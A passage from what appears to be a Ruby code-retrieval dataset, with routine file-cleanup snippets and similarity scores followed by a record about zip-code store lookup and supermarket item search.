file_stored.update_attributes(pkg_ref: file_stored['pkg_ref'] - 1)\n end\n # file_stored.destroy\n # del_ent_dict(file_stored, :files)\n #\n # # Remove files from grid\n # grid_fs = Mongoid::GridFs\n # grid_fs.delete(file_stored['grid_fs_id'])\n end\n end\n not_found\n end", "def cleanup_parts(file_parts)\n Mongolicious.logger.info(\"Cleaning up file parts.\")\n\n if file_parts\n file_parts.each do |part|\n Mongolicious.logger.info(\"Deleting part: #{part}\")\n begin\n File.delete(part)\n rescue => exception\n Mongolicious.logger.error(\"Error trying to delete part: #{part}\")\n Mongolicious.logger.error(exception.message)\n Mongolicious.logger.error(exception.backtrace)\n end\n end\n end\n end", "def delete_file\n @file = []\n end", "def cleanup!\n FileUtils.rm_rf(obsolete_files)\n FileUtils.rm_rf(metadata_file) unless @site.incremental?\n end", "def cleanup()\n @definition.temporary_files.each do |file|\n if File.exists?(file) && File.writable?(file)\n File.delete(file)\n end\n end\n if @environment.verbose\n puts \"========== END #{@definition.name} ============\"\n end\n end", "def remove_file src\n src = src.src if src.respond_to? :src # if passed an OpenStruct e.g.\n trace { \"remove_file: removing file '#{src}' [nuget model: package]\" }\n @files = @files.reject { |f| f.src == src }\n end", "def finalize(object_id)\n file_path = ObjectSpace._id2ref(object_id).file_path\n File.delete(file_path)\n Dir.delete(File.dirname(file_path))\n nil\n end", "def cleanup\n cleanup_unpack_path\n cleanup_download_path\n end", "def cleanup_old_files\n # make a local copy of to_delete while simultaneously clearing the original (atomicity)\n # local_to_delete = $to_delete.slice!(0..-1).to_a\n local_to_delete = []\n $to_delete.delete_if { |v| local_to_delete << v; true }\n\n $files.each_pair do |uuid, file|\n if file.nil?\n $files.delete uuid\n elsif local_to_delete.include?(uuid) || (Time.now - 60*60) > file.ctime\n file.close # Close it\n file.unlink if file.respond_to? :unlink # Unlink it if we can\n $files.delete uuid\n end\n end\n GC.start\nend", "def cleanup\n File.delete(temp_file_path)\n end", "def destroy_file\n object = self.class.bucket.objects.find(full_filename)\n object.destroy\n end", "def cleanup\n FileUtils.rm_f(@path)\n delete\n end", "def update_files(resource)\n updated = files.select { |file| file.is_a?(Hash) }.map do |file|\n node = resource.file_metadata.select { |x| x.id.to_s == file.keys.first.to_s }.first\n node.updated_at = Time.current\n # Uses the UploadDecorator to abstract the interface for the File Object during persistence by the storage_adapter\n file_wrapper = UploadDecorator.new(file.values.first, node.original_filename.first)\n\n # Ensure that errors for one file are logged but do not block updates for others\n begin\n storage_adapter.upload(file: file_wrapper, original_filename: file_wrapper.original_filename, resource: node)\n node.label = file.values.first.original_filename\n node.mime_type = file.values.first.content_type\n node\n rescue StandardError => error\n Valkyrie.logger.error \"#{self.class}: Failed to update the file #{file_wrapper.original_filename} for #{node.id}: #{error}\"\n # Ensure that this file is not created instead of updated\n @files.delete_if { |updated_file| updated_file.values.first.original_filename == file_wrapper.original_filename }\n nil\n end\n end\n\n updated.compact\n end", "def cleanup\n @agent_file_history.each { |af| FileUtils.rm_f(af) }\n @key_file_history.each { |kf| FileUtils.rm_f(kf) }\n end", "def remove_file\n\n @source_files_id = params[:source] + '_files'\n @source = TaliaCore::Source.find(N::URI.from_encoded(params[:source]))\n\n TaliaFile.find(params[:talia_file_uri]).destroy\n end", "def remove_all_vrfs\n require_relative '../lib/cisco_node_utils/vrf'\n Vrf.vrfs.each do |vrf, obj|\n next if vrf[/management/]\n # TBD: Remove vrf workaround below after CSCuz56697 is resolved\n config 'vrf context ' + vrf if\n node.product_id[/N9K.*-F/] || node.product_id[/N3K.*-F/]\n obj.destroy\n end\n end", "def unlink_from_work\n work = file_set.parent\n # monkey patch\n work.total_file_size_subtract_file_set! file_set\n # monkey patch\n return unless work && (work.thumbnail_id == file_set.id || work.representative_id == file_set.id || work.rendering_ids.include?(file_set.id))\n work.thumbnail = nil if work.thumbnail_id == file_set.id\n work.representative = nil if work.representative_id == file_set.id\n work.rendering_ids -= [file_set.id]\n work.save!\n end", "def destroy\n File.unlink(@resource[:path])\n Puppet.debug \"deleted file #{@resource[:path]}\"\n end", "def purge\n self.files.each do |f|\n f.destroy\n end\n self.commits.each do |c|\n c.destroy\n end\n end", "def cleanup\n case SubutaiConfig.provider\n when :hyper_v\n SubutaiDisk.hyperv_remove_disk\n end\n\n # cleanup virtual disks\n disks = SubutaiConfig.get(:_DISK_PATHES)\n unless disks.nil?\n disks.keys.each do |key|\n if File.exist?(disks[key])\n begin\n File.delete(disks[key])\n puts \"==> default: Deleted file: #{disks[key]}\"\n rescue Errno::EACCES\n puts \"==> default: (Permission denied) Failed delete file: #{disks[key]}\"\n end\n end\n end\n end\n\n # cleanup generated files\n if File.exist?(SubutaiConfig::GENERATED_FILE)\n begin\n File.delete SubutaiConfig::GENERATED_FILE\n puts \"==> default: Deleted file: #{SubutaiConfig::GENERATED_FILE}\"\n rescue Errno::EACCES\n puts \"==> default: (Permission denied) Failed delete file: #{SubutaiConfig::GENERATED_FILE}\"\n end\n end\n end", "def carve_undelete_file_info\n files = catalog_tree.search_using_journal(leaf_file_record, journal)\n \n for leaf in attribute_tree.search_using_journal\n wrapped_file_key, protection_class = attribute_tree.search_using_journal(leaf_filekey_record, journal)\n file_key = unwrap_using_class_keys_acquired_from_plist(wrapped_file_key, protection_class)\n file_keys << file_key\n end\n \n return files, file_keys\nend", "def remove_all\n @owner.transaction do\n self.each { |obj| @owner.send(@remove_proc, obj) }\n end\n @members.clear\n @loaded = false # gmosx: IS this needed?\n end", "def remove_bundle_associations\n self.study_files.update_all(study_file_bundle_id: nil)\n end", "def purge_blobs\n photos_attachments.each do |photo_attachment|\n if photo_attachment.marked_for_destruction?\n photo_attachment.blob.purge_later\n end\n end\n end", "def remove_fileset\n\n fileset = get_the_fileset\n if fileset.nil? == false\n works = fileset.in_works\n work_id = works.empty? ? 'unknown' : works[0].id\n\n # audit the information\n WorkAudit.audit( work_id, User.cid_from_email( @api_user.email), \"File #{fileset.label}/#{fileset.title[0]} deleted\" )\n\n file_actor = ::CurationConcerns::Actors::FileSetActor.new( fileset, @api_user )\n file_actor.destroy\n render_standard_response( :ok )\n else\n render_standard_response( :not_found, 'Fileset not available' )\n end\n\n end", "def unlink\n # Delete the directory\n @cleanup_proc.call\n\n # Undefine the finalizer since we're all cleaned up\n ObjectSpace.undefine_finalizer(self)\n end", "def destroy\n\t\tFile.delete @filepath\n\t\t@data_base = nil\n\t\t@data_base.freeze\n\t\tself.freeze\n\tend", "def remove!\n with_callbacks(:remove) do\n delete_file\n @file = nil\n @cache_id = nil\n end\n end", "def delete_completely(root, resource)\n path = File.join(root, resource.path(identifying_sym))\n FileUtils.rm_rf(path)\n\n # removes the empty directories upward\n (resource.identifiers(identifying_sym).size - 1).times do |t|\n path = File.split(path).first\n begin\n FileUtils.rmdir(path)\n rescue Errno::ENOTEMPTY\n break\n end\n end\n end", "def destroy\n file&.delete\n end", "def destroy\n remove_files(@path + \"*\")\n end", "def cleanup(file)\n Dir.glob(@options[:output].sub(/\\./, '*')).each do |item|\n if File.basename(item) != File.basename(file)\n info \"Stitch \" + \"deleted \".red + item.sub(\"#{Dir.pwd}/\", '')\n FileUtils.rm(item)\n @deleted << item\n end\n end\n end", "def delete_service_files(resource)\n file get_service_script_name(resource) do\n action :delete\n only_if { get_service_script_name != nil }\n end\nend", "def remove_imagekit_file\n service.class.delete_ik_file(self)\n end", "def remove_stale_files() = stale_files.each { |file| remove_file(file) }", "def delete_fragment_files(study:, study_file:)\n prefix = \"_scp_internal/anndata_ingest/#{study.accession}_#{study_file.id}\"\n remotes = ApplicationController.firecloud_client.get_workspace_files(study.bucket_id, prefix:)\n remotes.each(&:delete)\n end", "def delete\n Modeles::File.delete @fileInTable.id\n @errors = nil\n @fileInTable = nil\n @path = nil\n @user = nil\n @group = nil\n @userRights = nil\n @groupRights = nil\n @othersRights = nil\n end", "def remove(files)\n batch(files) do |file, i|\n yield(file) if block_given?\n s3.buckets[@bucket_name].objects[file].delete\n end\n nil\n end", "def remove file\n file.delete\n @files -= [file]\n end", "def destroy\n notice \"Removing #{@resource_copy[:path]}\"\n FileUtils.rm_rf(@resource_copy[:path])\n end", "def cycle!\n type = self.class.name.split(\"::\").last\n storage_object = Backup::Storage::Object.new(type)\n objects = [self] + storage_object.load\n if keep.is_a?(Integer) and keep > 0 and objects.count > keep\n objects_to_remove = objects[keep..-1]\n objects_to_remove.each do |object|\n Logger.message \"#{ self.class } started removing (cycling) files from #{ object.class.name.split(\"::\").last }\"\n object.send(:remove!)\n end\n objects = objects - objects_to_remove\n end\n storage_object.write(objects)\n end", "def destroy\n all.each { |file| FileUtils.rm_f(file) }\n end", "def cleanup\n\t\tfile_count = 0\n\t\tif File.directory?(@file_path)\n\t\t\tDir.foreach(@file_path) do |f|\n\t\t\t\tfile_count += 1\n\t\t\t fn = File.join(@file_path, f)\n\t\t\t File.delete(fn) if f != '.' && f != '..'\n\t\t\tend\n\t\t\tDir.delete(@file_path)\n\t\t\tmsg = \"Cleaned up #{file_count} files\"\n\t\telse\n\t\t\thalt 422, \"No directory\"\n\t\tend\n\t\t{ msg: msg }\n\tend", "def cleanup\n winrm.run_cmd( \"del #{base64_file_name} /F /Q\" )\n winrm.run_cmd( \"del #{command_file_name} /F /Q\" )\n end", "def close_files\n [self.source, self.original, self.destination].each do |f|\n next unless f\n begin\n f.close\n File.unlink(f) if SystemInformation.env == 'production'\n rescue\n nil\n end\n end\n end", "def purge\n ::FileUtils.rm(@fname)\n end", "def cleanup_files\n FileUtils.rm_rf(File.join(Rails.root, \"tmp\"))\n end", "def teardown\n [\"file1\", \"file2\", \"file3\"].each {|f| FileUtils.rm f}\n Dir[\"test/backup/file*\"].each {|f| FileUtils.rm f}\n Dir[\"test/backup/*.tar.gz\"].each {|f| FileUtils.rm f}\n Dir.rmdir \"test/backup\" if File.exists? \"test/backup\"\n end", "def delete_files_and_empty_parent_directories\n style_names = reflection.styles.map{|style| style.name} << :original\n # If the attachment was set to nil, we need the original value\n # to work out what to delete.\n if column_name = reflection.column_name_for_stored_attribute(:file_name)\n interpolation_params = {:basename => record.send(\"#{column_name}_was\")}\n else\n interpolation_params = {}\n end\n style_names.each do |style_name|\n path = interpolate_path(style_name, interpolation_params) or\n next\n FileUtils.rm_f(path)\n begin\n loop do\n path = File.dirname(path)\n FileUtils.rmdir(path)\n end\n rescue Errno::EEXIST, Errno::ENOTEMPTY, Errno::ENOENT, Errno::EINVAL, Errno::ENOTDIR\n # Can't delete any further.\n end\n end\n end", "def remove_mount_point\n FileFoo.call!(api_base_file_name) { |content| remove_from_base(content) }\n end", "def delete_orphan_files_in_api(start)\n Find.find(api_output) do |path|\n if path.end_with?('.html') || path.end_with?('.html.gz')\n FileUtils.rm_f(path) if File.mtime(path) < start\n end\n end\n end", "def clean_remote\n to_delete = remote_assets - local_compiled_assets\n to_delete.each do |f|\n delete_remote_asset(bucket.files.get(f))\n end\n end", "def teardown\n File.delete 'file.xml' if File.exists?('file.xml')\n File.delete '.file.xml.duxml' if File.exists?('.file.xml.duxml')\n end", "def unlink_from_work\n work = parent_for(file_set: file_set)\n return unless work && (work.thumbnail_id == file_set.id || work.representative_id == file_set.id || work.rendering_ids.include?(file_set.id))\n work.thumbnail = nil if work.thumbnail_id == file_set.id\n work.representative = nil if work.representative_id == file_set.id\n work.rendering_ids -= [file_set.id]\n work.save!\n end", "def delete_collection\n FileUtils.rm_r @src_path\n FileUtils.rm_r @store_path if store_exist?\n end", "def destroy_file\n FileUtils.rm full_filename\n # remove directory also if it is now empty\n Dir.rmdir(File.dirname(full_filename)) if (Dir.entries(File.dirname(full_filename))-['.','..']).empty?\n rescue\n logger.info \"Exception destroying #{full_filename.inspect}: [#{$!.class.name}] #{$1.to_s}\"\n logger.warn $!.backtrace.collect { |b| \" > #{b}\" }.join(\"\\n\")\n end", "def delete_all_uploaded_images\n images_dir = FileUploader.file_dir('article', id)\n FileUtils.rm_rf(images_dir) if File.directory?(images_dir)\n end", "def rm_f(options={})\n #list = list.to_a\n fileutils.rm_f(list, options)\n end", "def remove!\n messages = []\n transferred_files do |local_file, remote_file|\n messages << \"#{storage_name} started removing '#{ local_file }'.\"\n end\n Logger.message messages.join(\"\\n\")\n\n FileUtils.rm_r(remote_path)\n end", "def cleanup\n File.delete(@path) if @path.is_a?(String) && File.exist?(@path)\n end", "def delete_file(no_raise: true)\n __debug_items(binding)\n return if destroyed? || attached_file.nil?\n file_attacher.destroy\n file_attacher.set(nil)\n rescue => error\n log_exception(error, __method__)\n re_raise_if_internal_exception(error)\n raise error unless no_raise\n end", "def update_metadata\n @generic_file.destroy_existing_nested_nodes(params[:generic_file])\n super\n end", "def delete_pd(descriptor)\n # # first find dependencies_mapping\n # pkg = FileContainer.find_by('_id' => descriptor['pd']['package_file_uuid'])\n\n # first find dependencies_mapping\n pkg = FileContainer.find_by('_id' => descriptor['pd']['package_file_uuid'])\n\n if pkg['pkg_ref'] == 1\n # Referenced only once. Delete in this case\n pkg.destroy\n tgop_md5 = Files.where('md5' => pkg['md5'])\n if tgop_md5.size.to_i.zero?\n # Remove files from grid\n grid_fs = Mongoid::GridFs\n grid_fs.delete(pkg['grid_fs_id'])\n end\n else\n # Referenced above once. Decrease counter\n pkg.update_attributes(pkg_ref: pkg['pkg_ref'] - 1)\n end\n descriptor.destroy\n del_ent_dict(descriptor, :pd)\n # descriptor.destroy\n # del_ent_dict(descriptor, :pd)\n # grid_fs = Mongoid::GridFs\n # grid_fs.delete(pkg['grid_fs_id'])\n # pkg.destroy\n # descriptor.destroy\n end", "def delete_files(uuids)\n Uploadcare::FileList.batch_delete(uuids)\n end", "def remove(filename); end", "def clean!\n stop\n FileUtils.remove_entry(download_path) if File.exists? download_path\n FileUtils.remove_entry(tmp_save_dir, true) if File.exists? tmp_save_dir\n FileUtils.remove_entry(instance_dir, true) if File.exists? instance_dir\n FileUtils.remove_entry(md5sum_path) if File.exists? md5sum_path\n FileUtils.remove_entry(version_file) if File.exists? version_file\n end", "def clean!\n stop\n FileUtils.remove_entry(download_path) if File.exists? download_path\n FileUtils.remove_entry(tmp_save_dir, true) if File.exists? tmp_save_dir\n FileUtils.remove_entry(instance_dir, true) if File.exists? instance_dir\n FileUtils.remove_entry(md5sum_path) if File.exists? md5sum_path\n FileUtils.remove_entry(version_file) if File.exists? version_file\n end", "def cleanup?\r\n got = @ndev.rpc.request_system_storage_cleanup( :dry_run => true )\r\n dryrun_h = {}\r\n got.xpath('file-list/file').each do |file|\r\n _cleanup_file_to_h( file, dryrun_h )\r\n end\r\n dryrun_h \r\n end", "def cleanup_open_files()\r\n if (self.active_files.length > MAX_NUM_FILES)\r\n _counter = 0\r\n \r\n self.active_files.each { |_file|\r\n _counter += 1\r\n \r\n if (_counter > MAX_NUM_FILES && _file.is_saved)\r\n _file.destroy()\r\n end\r\n }\r\n end\r\n end", "def clean_remote!\n resp = @connection.get_bucket(\n @storage.bucket, prefix: File.dirname(@remote_path)\n )\n keys = resp.body['Contents'].map {|item| item['Key'] }\n\n @connection.delete_multiple_objects(@storage.bucket, keys) unless keys.empty?\n end" ]
[ "0.72492737", "0.70773214", "0.7026422", "0.689567", "0.64730227", "0.6375465", "0.6354057", "0.634123", "0.6319921", "0.6319921", "0.6316164", "0.6285858", "0.6285858", "0.62583184", "0.6211574", "0.61412525", "0.59582675", "0.59561074", "0.59173876", "0.582647", "0.5823364", "0.5791769", "0.5782077", "0.5757227", "0.5744607", "0.5736623", "0.5722632", "0.5700875", "0.5700875", "0.5656973", "0.56463885", "0.56313694", "0.5620242", "0.5617863", "0.5595359", "0.55799323", "0.55728114", "0.5570497", "0.5561381", "0.5555036", "0.5548978", "0.5540931", "0.552244", "0.5515233", "0.55023", "0.5482244", "0.5475465", "0.54732203", "0.54578096", "0.54467046", "0.544015", "0.54334193", "0.5431313", "0.54273826", "0.5422645", "0.54195833", "0.53790057", "0.53766274", "0.5356931", "0.5354834", "0.5353627", "0.5351763", "0.534951", "0.53475654", "0.5347113", "0.53459495", "0.53441787", "0.53372204", "0.5332975", "0.5329931", "0.5318381", "0.53119606", "0.5309553", "0.53033626", "0.52996516", "0.5299125", "0.5298123", "0.52972394", "0.5292648", "0.5287951", "0.5284397", "0.5281957", "0.52754307", "0.52751386", "0.5269593", "0.5268488", "0.526811", "0.52454966", "0.52327365", "0.5232097", "0.5231528", "0.5229733", "0.52294165", "0.52266365", "0.5223403", "0.52223116", "0.52223116", "0.52191854", "0.5218639", "0.52169496" ]
0.5612231
34
def find_close_storeid(zipcode) get_stores_by_zip(zipcode)[0]["StoreID"] end storeid = find_close_storeid(zipcode)
def get_store_items(storeid, item) response = Services::SupermarketClient.new.item_search(storeid, item) response.parsed_response["ArrayOfProduct_Commercial"]["Product_Commercial"].each do |item| StoreItem.create(name: item["Itemname"], image: item["ItemImage"], description: item["ItemDescription"], price: item["Pricing"]) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def city_id_by_zipcode(zipcode)\n zipcode = canonical_zipcode(zipcode)\n return unless valid_zipcode?(zipcode)\n\n @city_id_by_zipcode[zipcode] ||= begin\n hash = info_by_zipcode(zipcode)\n city = canonical_city(hash[\"city\"])\n pref = canonical_pref(hash[\"state\"])\n city_id_by_area(city, pref).to_i\n end\n end", "def zipcode\n return poi.zip unless poi.nil?\n return place.zip unless place.nil?\n return get_zipcode\n end", "def get_zipcode\n return zip\n end", "def zip_code\n zip_codes = self.zip_codes.pluck(:zip)\n if self.zip_codes.count == 1 \n return self.zip.zip\n else \n return zip_codes.to_s\n end \n end", "def get_area_code(city_zip_hash, key)\n# Write code here\n if city_zip_hash[key]\n print \"The zip code is: \"\n puts city_zip_hash[key]\n zip = city_zip_hash[key]\n return zip\n else\n puts \"cannot find the city name, sorry\"\n end\nend", "def find_and_save_zip(zip)\r\n # find url\r\n result = self.find_city_and_state(zip)\r\n \r\n # save result if its not nil\r\n unless result.nil?\r\n self.save_to_db(result)\r\n true\r\n else\r\n false\r\n end\r\n end", "def zip_code\n self[:zip]\n end", "def compare\n #https://github.com/superjustin/zip-codes-for-rails\n @compare = Search.limit(3).find(params[:compare])\n end", "def get_store (store_name)\n each_store do |regex, s_name, store|\n return store if s_name == store_name\n end\n nil\n end", "def get_store_number_from_url(url)\n $tracer.trace(\"GameStopAnalyticsFunctions: #{__method__}, Line: #{__LINE__}\")\n $tracer.report(\"Should #{__method__}.\")\n store = url.split(\"store=\")\n\t\tstore_number = store[1].split(\"&\")\n\t\t$tracer.report(\"Store Number from URL :::: #{store_number[0]}\")\n\t\treturn store_number[0]\n end", "def getDeliverableStores(deliveryZipCode)\n begin\n serviceAreaId = ServableZipCode.getZipCodeServiceAreaId(deliveryZipCode)\n allDeliverableStores = Store.where(service_area_id: serviceAreaId)\n storeHash = {}\n allDeliverableStores.each do |store|\n storeHash[store.id] = store\n end\n return storeHash\n rescue => error\n renderError(HaigyManageConstant::Error::UNEXPECTED_ERROR, [\"Unable to get deliverable stores. (\", error.message, \")\"].join(\"\"))\n return nil\n end\n end", "def getDeliverableStores(deliveryZipCode)\n begin\n serviceAreaId = ServableZipCode.getZipCodeServiceAreaId(deliveryZipCode)\n allDeliverableStores = Store.where(service_area_id: serviceAreaId)\n storeHash = {}\n allDeliverableStores.each do |store|\n storeHash[store.id] = store\n end\n return storeHash\n rescue => error\n renderError(HaigyManageConstant::Error::UNEXPECTED_ERROR, [\"Unable to get deliverable stores. (\", error.message, \")\"].join(\"\"))\n return nil\n end\n end", "def location_code\n # find the closest location\n location = area || city || province\n location.post_code\n end", "def associate_city_from_zip_code\n _zip_code = self.zip_code\n self.update_column :city_id, City.where(zip_code: _zip_code).first.try(:id)\n nil\n end", "def shop_map_id\n @shop_common_event_id ? 0 : @map_id\n end", "def get_location(zip)\n location = Weatherman::Client.new(:unit =>'f')\n location.lookup_by_location(zip)\nend", "def set_zip_code\n @zip_code = ZipCode.find(params[:id])\n end", "def find_city_and_state(zip)\r\n \r\n puts 'finding ' + zip.to_s\r\n \r\n # stores result\r\n result = nil\r\n \r\n # need to pad zeros in front of the zip \r\n padded_zip = sprintf '%05d', (zip)\r\n \r\n # load the user agent.\r\n a = Mechanize.new { |agent|\r\n agent.user_agent = @user_agent\r\n }\r\n \r\n # convert url to the zip\r\n actual_url = self.replace_zip_in_url(padded_zip)\r\n \r\n # go to page and fetch the string.\r\n a.get(actual_url) do |p|\r\n \r\n # check if the sorry zip code does not exist. node exist.\r\n error_nodes = p.search('//div[@class=\"noresults-container\"]').length\r\n \r\n # need to check if the zip is valid.\r\n if error_nodes == 0\r\n # you basically want the first result.\r\n # so break after you grab it.\r\n p.search('//div[@id=\"result-cities\"]/p[@class=\"std-address\"]').each do |addr|\r\n city_state_str = self.city_state_as_hash(padded_zip, addr.text)\r\n #puts city_state_str.inspect\r\n result = city_state_str\r\n break\r\n end\r\n else\r\n puts 'not a valid zip'\r\n end\r\n end\r\n \r\n # return results.\r\n # either a nil or a hash containig zip, city, state\r\n result\r\n end", "def zipcode\n if params[:zipcode].present?\n @weather_output = WeatherQueryService.new(zipcode: params[:zipcode]).call\n @using_cached_forecast = Rails.cache.read(\"#{params[:zipcode]}\").present?\n @forecast_output = ForecastQueryService.new(zipcode: params[:zipcode]).call\n end\n end", "def price_exception_for_store(store)\n return if store.nil?\n price_exceptions.try(:[], 'stores')&.find do |h|\n return h if h[\"store_id\"].to_i == store.id\n end.presence\n end", "def load_districts_zip(zip_code)\n params = {'zip' => zip_code}\n @districts = process('districts', 'districts/locate', params)\n end", "def set_zipcode\n @zipcode = Zipcode.find(params[:zipcode])\n end", "def secondary_address\n addresses.select{ |a| a.address_rank_code == 2 }.first\n end", "def findZip(zipCode)\n\t\t\tzips = CSV.read(@filePath + \"de_postal_codes.csv\", col_sep: \",\", encoding: \"ISO8859-1\")\n\t\t\tzipRow = zips.find {|row| row[0] == zipCode}\n\t\treturn zipRow\n\tend", "def fetch_stake_currency_id_for_pax\n @pax_stake_currency = StakeCurrency.where(symbol: 'PAX')\n\n unless @pax_stake_currency.first.present?\n fail \"Invalid stake currency symbol\"\n end\n\n @pax_stake_currency_id = @pax_stake_currency.first.id\n end", "def get_id(somegeneID)\n (0..(seed_stock.count-1)).each do |i|\n if mutant_gene_id[i] == somegeneID\n return seed_stock[i] \n elsif seed_stock[i] == somegeneID\n return mutant_gene_id[i]\n end\n end \n end", "def set_zipcodedatabase\n @zipcodedatabase = Zipcodedatabase.find(params[:id])\n end", "def find_batchid\n @zip_file_name.chomp(\".zip\").chomp(\".ZIP\")\n end", "def store_category_2\n cat = item_hash.deep_find([:store_front, :store_category2_id])\n cat.nil? ? nil : cat.to_i\n end", "def zip_api_fetch(zip_code, country_code = \"us\")\n #this will actually hit the OpenWeatherMap Api\n #I have defaulted the country code to US for now, but have built the GET request to be flexible to add multi-country postal codes later\n HTTParty.get(\"https://api.openweathermap.org/data/2.5/weather?zip=#{zip_code},#{country_code}&APPID=#{APPID}&units=imperial\")\n end", "def belongsToWhichPostcode lat, lon\n\tsmallestPostcode = Postcode\n\tsmallestDist = 9999999999999999999.0\n\t#we want to look at all post codes & find closest\n\tPosition.all.each do |pos|\n\t\tif pos.postcodes.last\n\t\t\tcurrentDist = Math.sqrt( ((pos.latitude.to_f - lat).abs)**2 + ((pos.longitude.to_f - lon).abs)**2 )\n\t\t\tif(currentDist < smallestDist)\n\t\t\t\tsmallestDist = currentDist\n\t\t\t\tsmallestPostcode = pos.postcodes\n\t\t\tend\n\t\tend\n\tend\n\t#return the last postcode that was made for that position\n\tsmallestPostcode.last\nend", "def search_zip_code\r\n @addresses = Address.find_by_zip_code(params[:address][:zip_code])\r\n end", "def live_lookup_item_id\n id || folio_item&.id || barcode\n end", "def zip\n self[:address][:postalCode]\n end", "def search_by_zip\n begin\n if params[:zipcode] and params[:zipcode].present? and Item.isNumber(params[:zipcode])\n search_result = Item.search_by_zipcode(params[:zipcode],session[:user_ll])\n @items = search_result[0]\n # @completed = search_result[1]\n @distance = search_result[2]\n # @comp_distance = search_result[3]\n @completed = []\n @comp_distance = []\n @usr_trd = []\n if current_user then @usr_trd = current_user.user_tradeya_ids(false) end\n else\n @completed = []\n @items = []\n end\n rescue\n @completed = []\n @items = []\n end\n end", "def get_id(symbol)\n return 0 if symbol == :__undef__\n\n data = @data.index { |item| item.db_symbol == symbol }\n data || 0\n end", "def provided_store_details?(merchant)\n store = Store.find_by(merchant_id: merchant.id)\n store\n\tend", "def store_name\n promo = self.promo\n branches = promo.branches\n return unless branches.any?\n return branches.first.store.name\n end", "def postal_code\n self[:zip]\n end", "def suggested_sales_area\n if advert=self.advertiser\n # offer = self.offers.last\n if advert.address and zc = advert.address.zip_code_obj\n zc.sales_area\n end\n end\n end", "def store_index(search_store, store_type)\n\n raise ArgumentError, 'search_store is nil' if search_store.nil?\n Log.instance.debug \"Looking for store '#{search_store}'\"\n bops_availablility = false\n\n if macys?\n bops_availablility = !bops_store_container_elements.empty? || !bops_store_container_selected_elements.empty?\n else\n store_header_text = store_container_element.div_element(:class => 'bops_so_storeAvailabilityContainer').div_element(:class => 'bops_so_storeAvailability').text\n bops_availablility = store_header_text.include?'Buy online'\n end\n\n case store_type\n when 'bops_store'\n bops_store_list.each_with_index do |store, index|\n Log.instance.debug \"Comparing against store: '#{store}'\"\n match = store.all? { |key, value| value == search_store[key] }\n if match\n Log.instance.debug 'Found a match.'\n return index\n end\n end\n when 'available_store'\n bops_store_count = 0\n if bops_availablility\n bops_store_count = bops_store_list.count\n end\n \n purchase_in_store_list.each_with_index do |store, index|\n Log.instance.debug \"Comparing against store: '#{store}'\"\n match = store.all? { |key, value| value == search_store[key] }\n if match\n Log.instance.debug 'Found a match.'\n if macys?\n return index\n else\n return index + bops_store_count\n end\n end\n end\n end\n raise StoreNotFoundError, \"Unable to find a store that matches '#{search_store}'.\"\n end", "def shop_id\n data[:shop_id]\n end", "def find(code)\n @stock[code.to_sym]\n end", "def get_area_code(dial_book, city_name)\n # @type [String]\n area_code = ''\n\n # @type [String]\n normalized_city_name = normalize_city_name(city_name)\n\n dial_book.each_key do |city_name_dial|\n if normalize_city_name(city_name_dial) == normalized_city_name\n area_code = dial_book[city_name_dial]\n break\n end\n end\n\n area_code\nend", "def get_id(symbol)\n return 0 if symbol == :__undef__\n\n pokemon = @data.index { |data| data[0].db_symbol == symbol }\n return pokemon || 0\n end", "def call_from_zip_code\n\n #grab user's zip code,\n self.zip_code_grabber\n\n #call scraper class method to access html of page based on zip code\n @doc = AirQualityIndex::Scraper.new.local_aqi_scraper(self.zip_code)\n\n #return aqi information, unless unavailable for that zip code\n self.aqi_info_validation_return(self.doc)\n end", "def delivery_map_id\n\t\t\tif @delivery_map_id.nil?\n\t\t\t\tself.cart_items.each do |cart_item|\n\t\t\t\t\tif cart_item.restaurant && cart_item.restaurant.delivery_map_id\n\t\t\t\t\t\t@delivery_map_id = cart_item.restaurant.delivery_map_id\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\t\treturn @delivery_map_id\n\t\tend", "def geoname_id; end", "def geoname_id; end", "def geoname_id; end", "def geoname_id; end", "def find(address)\n # Geocode the given address.\n geocode address\n\n ward = Data.new(data)\n ward.to_hash\n end", "def nearby_laundry_stores(address_id)\n address = Address.find(address_id)\n address.area.stores.where.not(:operations => \"Dryclean\" )\n end", "def lookup_store (store_name)\n each_store do |regex, name, store|\n return store if regex.match store_name\n end\n nil\n end", "def folio_location_code\n @folio_location_code ||= FolioLocationMap.folio_code_for(library_code: library, home_location: location)\n rescue FolioLocationMap::NotFound\n Honeybadger.notify('Location code not found', context: { library:, location: })\n nil\n end", "def store_category_1\n cat = item_hash.deep_find([:store_front, :store_category_id])\n cat.nil? ? nil : cat.to_i\n end", "def get_area_code(hashbook, city)\n hashbook[city]\nend", "def store\n (@_stores ||= doc.xpath(\"/html/body/div[@id='storeArea']\")).first\n end", "def country_code\n Geocoder.search(hotel.city).first.country_code\n rescue Exception\n 'CZ'\n end", "def zip_code\n Faker::Address.zip\n end", "def zip_code\n Faker::Address.zip\n end", "def find_location(states=[],zip_codes=[])\n case @config[:location_db][:adapter]\n when :mysql\n query = \"select * from #{@config[:location_db][:table]}\"\n query += \" where \" unless states.blank? and zip_codes.blank?\n\n unless states.blank?\n query += \"#{@config[:location_db][:column_mapping][:state_abbr]} in (#{states.map{ |s| \"'#{s}'\" }.join(',')})\"\n query += \" and \" unless zip_codes.blank?\n end\n\n unless zip_codes.blank?\n query += \"#{@config[:location_db][:column_mapping][:zip_code]} in (#{zip_codes.map{ |s| \"'#{s}'\" }.join(',')})\"\n end\n\n query += \" order by rand() limit 1\"\n\n @db.query(query).first\n else\n nil\n end\n end", "def zip_code\n @zip_code || (@address_line3 if @address_line3 =~ /(?i)^[a-z0-9][a-z0-9\\- ]{0,10}[a-z0-9]$/)\n end", "def get_site_id(n)\n if (site = Site.find_by_name(@city_xpath[n].text))\n if site.contacts.first.state == @state_xpath[n].text\n site.id\n else\n add_site(n, [@city_xpath[n].text, @state_xpath[n].text].join(', '))\n end\n else\n add_site(n, @city_xpath[n].text)\n end\n end", "def getUnavailableItemsInCartForNewZipCode(newZipCode, oldZipCode, allCartItemIdArray)\n newZipCodeString = (newZipCode || \"\").to_s\n oldZipCodeString = (oldZipCode || \"\").to_s\n\n if allCartItemIdArray.empty? || newZipCodeString == oldZipCodeString\n return []\n else\n storeHash = getDeliverableStores(newZipCodeString)\n return nil if storeHash.nil? # has unexpected error\n\n if storeHash.empty? # not a servable zip code\n return allCartItemIdArray\n else\n stillAvailableItemId = Item.includes(:store_item_infos).where(\n id: allCartItemIdArray,\n store_item_infos: {store_id: storeHash.keys}\n 